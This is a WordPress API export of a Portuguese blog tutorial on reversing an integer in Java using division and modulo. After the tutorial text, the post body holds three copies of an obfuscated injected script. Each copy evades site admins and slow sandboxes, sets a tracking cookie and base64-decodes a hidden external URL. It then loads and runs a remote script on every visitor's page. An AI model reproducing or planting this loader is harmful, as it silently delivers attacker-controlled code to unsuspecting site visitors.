{"id":4314,"date":"2018-04-30T12:33:59","date_gmt":"2018-04-30T15:33:59","guid":{"rendered":"http:\/\/thiagovespa.com.br\/blog\/?p=4314"},"modified":"2025-10-26T22:31:20","modified_gmt":"2025-10-27T01:31:20","slug":"como-inverter-um-numero","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2018\/04\/30\/como-inverter-um-numero\/","title":{"rendered":"Como inverter um n\u00famero"},"content":{"rendered":"<p>Suponha que voc\u00ea deseja transformar um n\u00famero qualquer no seu valor invertido. Por exemplo: 3210, se torne 123. Como fazer isso de maneira program\u00e1tica?<br \/>\nUma das maneiras mais simples \u00e9 voc\u00ea transformar numa string, invert\u00ea-la e converter novamente em um n\u00famero, entretanto h\u00e1 uma outra forma sem ser necess\u00e1ria a convers\u00e3o para string. Voc\u00ea pode ir dividindo por 10 no n\u00famero original (recuperando a unidade, dezena, centena, ...) e multiplicando por 10 no invertido (inserindo os valores como centena, dezena, unidade).<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\nint rev = 0;\nwhile(n&gt;0) {\n    int lDigit = n%10;\n    rev = (rev*10)+lDigit;\n    n\/=10;\n}\nSystem.out.println(rev);\n<\/pre>\n<p>No nosso exemplo: 3210. A linha 3, ir\u00e1 recuperar o resto da divis\u00e3o de 3210 por 10, que \u00e9 0. Esse resultado \u00e9 atribu\u00eddo ao nosso n\u00famero invertido, j\u00e1 que na primeira itera\u00e7\u00e3o o valor de <em>rev<\/em> \u00e9 0. Removemos a parte da unidade do nosso n\u00famero, dividindo ele por 10 (n = 3210\/10 = 321).<\/p>\n<p>Na segunda itera\u00e7\u00e3o, na linha 3, o resto da divis\u00e3o de 321 por 10 \u00e9 1. Esse resultado \u00e9 atribu\u00eddo ao nosso n\u00famero invertido, j\u00e1 que ele ainda est\u00e1 com o valor 0, portanto <em>rev<\/em> = 1. Removemos a parte das dezenas do nosso n\u00famero, dividindo ele novamente por 10 (n=321\/10 = 32).<\/p>\n<p>Na terceira itera\u00e7\u00e3o, na linha 3, o resto da divis\u00e3o de 32 por 10 \u00e9 2. O valor de <em>rev<\/em> \u00e9 multiplicado por 10 (1*10 = 10) e atribu\u00eddo o valor do resto da divis\u00e3o (<em>rev<\/em> = 10+2 = 12). Removemos a parte das centenas do nosso n\u00famero, dividindo ele novamente por 10 (n=32\/10 = 3).<\/p>\n<p>Na quarta itera\u00e7\u00e3o finalizamos e n a linha 3 o resto da divis\u00e3o de 3 por 10 \u00e9 3. O valor de <em>rev<\/em> \u00e9 multiplicado por 10 (12*10 = 120) e atribu\u00eddo o valor do resto da divis\u00e3o (<em>rev<\/em> = 120+3). Removemos a parte do milhar do nosso n\u00famero, dividindo ele novamente por 10 (n=3\/10 = 0).<\/p>\n<p>Com isso temos o n\u00famero invertido (<em>rev) <\/em>com o valor 123 e o <em>n<\/em> com o valor 0, saindo do loop e com o nosso n\u00famero invertido, como quer\u00edamos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Suponha que voc\u00ea deseja transformar um n\u00famero qualquer no seu valor invertido. Por exemplo: 3210, se torne 123. Como fazer isso de maneira program\u00e1tica? Uma das maneiras mais simples \u00e9 voc\u00ea transformar numa string, invert\u00ea-la e converter novamente em um <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2018\/04\/30\/como-inverter-um-numero\/\">Continue lendo  <span class=\"screen-reader-text\">  Como inverter um n\u00famero<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-4314","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4314","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4314"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4314\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4314"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4314"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4314"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}